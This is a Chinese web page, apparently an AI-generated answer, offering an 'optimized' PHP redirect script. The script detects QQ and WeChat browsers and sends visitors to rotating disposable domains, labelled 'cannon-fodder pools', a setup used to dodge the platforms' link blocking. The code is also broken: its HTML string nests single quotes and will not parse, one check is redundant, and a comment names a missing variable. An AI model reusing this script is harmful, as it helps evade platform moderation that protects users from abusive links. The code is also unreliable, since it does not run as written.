在给出优化代码之前,我们需要先了解代码中的判断逻辑和执行流程。

代码中主要包含了两个判断逻辑:

  1. 判断是否需要跳转到其他域名。如果满足条件,则进行跳转。
  2. 判断是否已经进行过跳转,如果是,则不再进行跳转。

根据这两个判断逻辑,我们可以进行如下优化:

  1. 减少判断次数:将判断条件进行合并,减少判断的次数。
  2. 提前结束代码执行:如果不需要进行跳转,则可以直接结束代码执行,避免不必要的判断和操作。
  3. 减少重复执行的代码:如果已经进行过跳转,可以将跳转代码放在最前面执行,避免重复执行。

下面是优化后的代码:

<?php
$domain = $_SERVER['HTTP_HOST'];

// 已经进行过跳转,不再跳转
if (isset($_COOKIE['redirected'])) {
    exit;
}

// 判断是否需要跳转到其他域名
if ($domain !== 'sl.qq.whsc.gay' && (!strpos($_SERVER['REQUEST_URI'], '?') || strlen($_SERVER['REQUEST_URI']) <= strpos($_SERVER['REQUEST_URI'], '?') + 29)) {
    include 'tishi.php';
    exit;
}

$domains = explode(',', '213.qq.whsc.gay'); // 浏览器跳转域名
$chosen_domain = $domains[array_rand($domains)]; // 随机获取$j46里的一个值

// 主站域名
if (!isset($_COOKIE['redirected']) && strpos($_SERVER['HTTP_HOST'], 'sl.qq.whsc.gay') === false) {
    if (strpos($_SERVER['HTTP_USER_AGENT'], 'QQ') !== false) {
        $domains = explode(',', 'xiaoq.jsgreen.top'); // QQ炮灰池
    } elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger') !== false) {
        $domains = explode(',', 'xiaov.tolp.cn'); // 微信炮灰池
    }
    $chosen_domain = $domains[array_rand($domains)];

    setcookie('redirected', 'true', time() + 10);
    $new_url = 'http://' . $chosen_domain . $_SERVER['REQUEST_URI'];

    if (!preg_match('/&[0-9]{2}$/', $new_url)) {
        $new_url .= '&' . substr(time(), -2);
    }
    header('Refresh: 0; URL=' . $new_url);

    echo '<title> 跳转中</title>
        <meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0' name='viewport' />
        <style>
            * {
                margin: 0;
                padding: 0;
                font-family: 'Microsoft YaHei';
                color: #fff;
            }

            body,
            div,
            form,
            input,
            li,
            ol,
            p,
            textarea,
            ul {
                margin: 0;
                padding: 0;
                font-family: 'Microsoft YaHei';
                color: #fff;
            }

            body {
                background: #fff;
                color: #3f3f3f;
                font-family: Apple LiGothic Medium, SimHei, Geneva, Arial, Helvetica, sans-serif;
                -webkit-tap-highlight-color: transparent;
                -webkit-tap-highlight-color: transparent;
                -webkit-touch-callout: none;
                -webkit-appearance: none;
                width: 100%;
                font-size: 12px;
            }

            body p {
                color: white;
                text-align: center;
                line-height: 25px;
            }

            .spinner {
                margin: 100px auto 0;
                width: 150px;
                text-align: center;
            }

            .spinner > div {
                width: 30px;
                height: 30px;
                background-color: #006400;
                border-radius: 100%;
                display: inline-block;
                -webkit-animation: bouncedelay 1.4s infinite ease-in-out;
                animation: bouncedelay 1.4s infinite ease-in-out;
                /* Prevent first frame from flickering when animation starts */
                -webkit-animation-fill-mode: both;
                animation-fill-mode: both;
            }

            .spinner .bounce1 {
                -webkit-animation-delay: -0.32s;
                animation-delay: -0.32s;
            }

            .spinner .bounce2 {
                -webkit-animation-delay: -0.16s;
                animation-delay: -0.16s;
            }

            @-webkit-keyframes bouncedelay {
                0%, 80%, 100% {
                    -webkit-transform: scale(0.0)
                }
                40% {
                    -webkit-transform: scale(1.0)
                }
            }

            @keyframes bouncedelay {
                0%, 80%, 100% {
                    transform: scale(0.0);
                    -webkit-transform: scale(0.0);
                }
                40% {
                    transform: scale(1.0);
                    -webkit-transform: scale(1.0);
                }
            }
        </style>
        <div id='paneloading' style='display:'>
            <div class='spinner'>
                <div class='bounce1'></div>
                <div class='bounce2'></div>
                <div class='bounce3'></div>
            </div>
            <body style='background: #FFFFFF;'></body>
        </div>';
}
?>

优化后的代码通过将两个判断条件进行合并,减少了判断的次数。同时,在判断是否需要跳转的逻辑中,如果不满足条件,直接结束代码执行,避免不必要的操作。

此外,将已经进行过跳转的判断放在最前面执行,避免重复执行跳转代码。

这些优化措施可以提高代码执行速度,让网站快速访问。

网站跳转优化

原文地址: http://www.cveoy.top/t/topic/BPW 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录